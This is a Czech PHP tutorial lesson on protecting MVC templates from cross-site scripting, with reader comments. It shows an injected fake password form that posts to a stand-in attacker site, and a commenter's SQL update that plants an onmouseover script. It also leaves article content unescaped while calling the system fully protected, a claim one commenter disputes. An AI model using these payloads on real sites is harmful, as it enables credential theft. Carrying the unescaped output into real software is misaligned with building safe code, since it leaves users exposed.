Pouze tento týden sleva až 80 % na e-learning týkající se C# .NET. Zároveň využij akci až 30 % zdarma při nákupu e-learningu - Více informací.
Hledáme nové posily do ITnetwork týmu. Podívej se na volné pozice a přidej se do nejagilnější firmy na trhu - Více informací.
discount 30 + hiring

Lekce 9 - Zabezpečení šablon

V minulé lekci, Výpis článků z databáze v PHP (MVC), jsme si vypsali článek z databáze.

Abychom mohli jít dále a doprogramovat do redakčního systému funkčnosti jako jsou editor článků nebo přihlašování uživatelů, budeme muset předem doladit několik věcí. Jedná se zejména o zabezpečení šablon, o tom bude dnešní díl.

Útok XSS

Zkusme si v databázi editovat článek "uvod" a do sloupce titulek vložme tuto hodnotu:

<em> je můj oblíbený tag

Systém zobrazí článek následujícím způsobem:

<em> je můj oblíbený tag
localhost/cla­nek/uvod

Tag <em> v nadpisu není a místo toho je kurzívou. HTML tag se vložil do stránky a prohlížeč ho vykonal. V tomto případě je to jen vada na kráse.

Představte si však, co se stane, když se nějaký uživatel webu pojmenuje takto:

<form action="zlodejhesel.cz">Zadejte heslo znovu: <input type="password" name="heslo"><input type="submit" /></form>

Při výpisu jeho jména systém zobrazí formulář, kam může nic netušící uživatel zadat své heslo, protože si myslí, že ho po něm chce náš web. Heslo samozřejmě přijde útočníkovi na jeho web a on ho může zneužít. Další oblíbenou taktikou je vkládání JavaScriptu, který se snaží např. krást cookies.

Tento výukový obsah pomáhají rozvíjet následující firmy, které dost možná hledají právě tebe!

Tomuto útoku se říká XSS neboli tzv. cross-site scripting.

Obrana

Řešení problému by nám mělo být známé. Proměnné, ve kterých může být hodnota zadaná uživatelem, před výpisem proženeme funkcí htmlspecialchars(). Ta z HTML tagů udělá nevinné entity, které se poté prohlížečem nespustí. Takto bychom měli ošetřovat všechny proměnné před výpisem. Stejně jako tomu bylo u databáze, u většího programu jednoduše neuhlídáme, co se ve které proměnné může nacházet, proto budeme zabezpečovat všechny. Ještě jednou připomenu, že proměnné ošetřujeme těsně před výpisem a v žádném případě neukládáme entity do databáze, v databázi je vždy původní text, tedy přesně to, co zadal uživatel. Upravujeme až pro výstup. Do databáze patří vždy co nejvíce surová data, která formátuje až aplikace.

První řešení, které by nás napadlo, je vložení funkce htmlspecialchars() do všech pohledů kolem všech proměnných. Můžeme si to zkusit pro pohled clanek:

<header>
    <h1><?= htmlspecialchars($titulek) ?></h1>
</header>
<section>
    <?= htmlspecialchars($obsah) ?>
</section>

Zkuste si, že se škodlivý kód již neprovede, namísto toho se vypíše přesně to, co je v proměnné.

<em> je můj oblíbený tag
localhost/cla­nek/uvod

Co to ale vidíme? Nyní je zpracování HTML tagů vypnuto všude, ale i v článku, kde nefunguje odkaz na konci. Jelikož obsah článku je asi jediné místo, kde chceme vložené HTML tagy zpracovávat, v šabloně ponecháme proměnnou $obsah neošetřenou.

Automatizace

Zeptejme se sami sebe, kolik procent proměnných bude potřeba v šablonách ošetřovat. Velmi pravděpodobně dojdeme k číslu většímu než 90%. Bylo by tedy velmi vhodné tento krok zautomatizovat a nutnost vložení neošetřené proměnné brát jako výjimku. Jelikož v našem MVC frameworku budeme pracovat téměř vždy s asociativními poli, vytvoříme si v abstraktním kontroleru funkci, která toto pole rekurzivně zentituje. Jinými slovy zavolá funkci htmlspecialchars() na všechny stringy v poli $data a pokud je v poli $data vložené nějaké další pole, udělá to samé s ním a tak dále. Otevřeme si ještě jednou Kontroler.php a do třídy Kontroler přidáme metodu osetri():

/*
Datové typy u funkce neuvádím, protože funkce zvládá ošetřovat jak null, tak string, tak pole, tak i ostatní datové typy.
*/
private function osetri($x = null)
{
    if (!isset($x))
        return null;
    elseif (is_string($x))
        return htmlspecialchars($x, ENT_QUOTES);
    elseif (is_array($x))
    {
        foreach($x as $k => $v)
        {
            $x[$k] = $this->osetri($v);
        }
        return $x;
    }
    else
        return $x;
}

Pro neinicializovanou proměnnou vrátíme null, pro řetězec vrátíme jeho zentitovanou hodnotu, pro pole ošetříme rekurzivně všechny jeho prvky, další datové typy vrátíme jak jsou. Samotné volání htmlspecialchars() má ještě parametr ENT_QUOTES, aby ošetřoval i jednoduché uvozovky. Je to tak bezpečnější.

V metodě vypisPohled() nyní upravíme parametry funkce extract tak, aby jí bylo předáno ošetřené pole $data:

extract($this->osetri($this->data));

Máme hotovo, všechny vybalené proměnné v šabloně budou již zentitované. Zbývá nějak vyřešit těch pár případů, kdy je zentitované nechceme (např. onen obsah článku). Funkce extract() nám umožňuje dát proměnným určitý prefix (něco před jejich název), vybalíme si tedy proměnné ještě jednou, tentokrát neošetřené a s nějakým prefixem. Každá proměnná bude v šabloně tedy 2x, jednou pod svým jménem a jednou neošetřená s prefixem. Extract mezi prefix a název proměnné vloží vždy podtržítko "_". Pokud zadáme prefix prázdný, vybalí se proměnné předsazené podtržítkem, což je pro naše účely docela hezké. Přidejme si tedy do metody vypisPohled() ještě jedno vybalení (za první extract()):

extract($this->data, EXTR_PREFIX_ALL, "");

Ještě upravíme šablonu článku, ta bude nyní vypadat minimalisticky a to je přesně to, co se po šabloně chce:

<header>
    <h1><?= $titulek ?></h1>
</header>
<section>
    <?= $_obsah ?>
</section>

Vše je ošetřené proti XSS, čistý obsah se vkládá pouze u článku, kde jsme použili proměnnou $_obsah s podtržítkovým prefixem, tedy neošetřenou.

Vytvořili jsme si tedy extrémně jednoduchý šablonovací systém. Proměnné se vkládají do šablony jednoduše pomocí direktivy <?= $promenna ?>. Vkládá se ošetřená verze proměnné. V případech, kdy potřebujeme neošetřenou, použijeme podtržítkový prefix <?= $_promenna ?>. Náš systém je nyní zabezpečený proti útoku XSS. Dnešní projekt je jako vždy přiložen níže ke stažení.

V příští lekci, Mechanismus zpráv, si naprogramujeme slíbený mechanismus zpráv.


 

Měl jsi s čímkoli problém? Stáhni si vzorovou aplikaci níže a porovnej ji se svým projektem, chybu tak snadno najdeš.

Stáhnout

Stažením následujícího souboru souhlasíš s licenčními podmínkami

Staženo 1826x (15 kB)
Aplikace je včetně zdrojových kódů v jazyce PHP

 

Předchozí článek
Výpis článků z databáze v PHP (MVC)
Všechny články v sekci
MVC - Jednoduchý redakční systém v PHP objektově
Přeskočit článek
(nedoporučujeme)
Mechanismus zpráv
Článek pro vás napsal David Čápka
Avatar
Uživatelské hodnocení:
47 hlasů
David je zakladatelem ITnetwork a programování se profesionálně věnuje 13 let. Má rád Nirvanu, sushi a svobodu podnikání.
Unicorn university David se informační technologie naučil na Unicorn University - prestižní soukromé vysoké škole IT a ekonomie.
Aktivity

 

 

Komentáře
Zobrazit starší komentáře (17)

Avatar
Matúš Petrofčík:3.6.2016 16:58

Bolo to teda tým charsetom? Ak áno, dúfam že si si ho nastavil v php.ini aby sa ti takáto chybka nestala znovu :)

Odpovědět
3.6.2016 16:58
obsah kocky = r^2 ... a preto vlak drnká
Avatar
mkub
Tvůrce
Avatar
mkub:4.8.2016 7:44

pre tych, co ma minuskovali, treba osetrit tie udaje pri vstupe do databazy kvoli SQL injection a pri vystupe na stranku zase osetrovat vystup kvoli cross-site scriptingu

a ak sa ukladaju do databazy surove udaje bez overenia, resp. sa vyhladavaju udaje bez upravy vstupneho hladacieho retazca, sa lahko moze stat, ze databaza vygeneruje udaje, ktore nema, resp. urobi cinnost, co by nemala urobit
a PDO pri spravnom pouziti zabrani SQL injectingu, ale PDO (skratrka z PHP Database Object) vyzaduje objektove programovanie aspon pri pristupe k databaze

 
Odpovědět
4.8.2016 7:44
Avatar
Petr Spěvák:12.8.2018 15:22

Stačí lehce poupravit článek:

UPDATE `article` SET `text` = '<p>Vítejte na našem webu!</p>\r\n\r\n<p onmouseover="alert(`XSS, vole!`);">Tento web je postaven na <strong>jednoduchém MVC frameworku v PHP</strong>. Toto je úvodní článek, načtený z databáze.</p>' WHERE `article`.`article_id` = 1

A najednou...

Editováno 12.8.2018 15:24
 
Odpovědět
12.8.2018 15:22
Avatar
Petr Spěvák:12.8.2018 15:29

...

 
Odpovědět
12.8.2018 15:29
Avatar
Petr Spěvák:12.8.2018 16:42

Řešení leží zde: http://htmlpurifier.org/

 
Odpovědět
12.8.2018 16:42
Tento výukový obsah pomáhají rozvíjet následující firmy, které dost možná hledají právě tebe!
Avatar
Otvorený Zdroj
Supertvůrce
Avatar
Otvorený Zdroj:19.5.2019 23:32
// ($x = null) hodnota atributu $x  prednastavena ako chýbajúca alebo neexistuje

private function osetri($x = null)
        {
// ak hodnota atributu neexistuje vráti null- hodnota neexistuje nevrati nic
                if (!isset($x))
                        return null;

// ak hodnota atribútu je reťazec převede speciální znaky v textu na HTML entity, ENT_QUOTES - Převede uvozovky i apostrofy.
elseif (is_string($x))
                        return htmlspecialchars($x, ENT_QUOTES);


// ak je atribut pole
elseif (is_array($x))
                {           //Cyklus prebehne polom a osetri kazdu hodnotu
                        foreach($x as $k => $v)
                        {
                                $x[$k] = $this->osetri($v);
                        }
// zaroven vrati hodnotu
                        return $x;
                }
//ak neprebehne ziadna moznost vrati hodnotu $x
                else
                        return $x;
        }

Vie mi to niekto lepsie okomentovať? myslim celu metodu private function osetri($x = null)

Odpovědět
19.5.2019 23:32
Ak existuje voľná energia, tak autorské právo sú dve smiešne slová..
Avatar
Odpovídá na Otvorený Zdroj
administrator222:16.4.2020 0:48

funkce je velice jednoduchá, má za úkol pouze ošetřit předanou proměnou $x typu string pomocí htmlspecialchars().
Což znamená převod speciálních znaků na html entity.
Pro podrobnější info:
https://www.php.net/…ialchars.php
https://www.itnetwork.cz/…y-php-manual

Celá funkce obsahuje tři podmínky:

  1. test zda je proměnná typu null vrátí to co jsi jí dal.
  2. test zda je proměnná typu string ("text") v tom případě provede ošetření pomocí htmlspecialchars()
  3. test zda je proměnná typu array(), pomocí foreach() prochází pole a rekurzivně volá sama sebe, jako hodnotu $x předává hodnotu získanou z pole a nahradí ji tím co se jí vrátí. Ošetří i více rozměrné pole právě díky rekurzi.
  4. pokud není splněna žádná z předchozích podmínek funkce vrátí to co dostala
 
Odpovědět
16.4.2020 0:48
Avatar
Jaroslav Kuthan:6. ledna 10:15

"Náš systém je nyní zabezpečený proti útoku XSS..."

To ale přeci není, pokud celý obsah článku je neošetřený.

 
Odpovědět
6. ledna 10:15
Avatar
Jan Štěch
Překladatel
Avatar
Jan Štěch:5. srpna 19:21

Tak mě napadá, že ošetřování všech proměnných pro pohled a jejich následné zduplikování kvůli pár možným výjimkám, kde některou z nich ošetřenou nechceme může být dost náročné na paměť i výkon. Nebylo by lepší ponechat si pouze ošetřené pole a v případě nějaké té výjimky, jako třeba obsahu článku použít prostě <?= htmlspecialchars_decode($obsah, ENT_QUOTES) ?>?

 
Odpovědět
5. srpna 19:21
Avatar
Jan Štěch
Překladatel
Avatar
Odpovídá na Jaroslav Kuthan
Jan Štěch:5. srpna 19:22

Ono se asi předpokládá, že ty články budou moci přidávat jenom administrátoři, nebo že budou procházet nějakým systémem schvalování, podobně jako tady na ITnetwork. 🙂
Ale jinak v podstatě ano, stačí jedna ovlivnitelná a neošetřená proměnná a XSS může nastat.

 
Odpovědět
5. srpna 19:22
Děláme co je v našich silách, aby byly zdejší diskuze co nejkvalitnější. Proto do nich také mohou přispívat pouze registrovaní členové. Pro zapojení do diskuze se přihlas. Pokud ještě nemáš účet, zaregistruj se, je to zdarma.

Zobrazeno 10 zpráv z 27. Zobrazit vše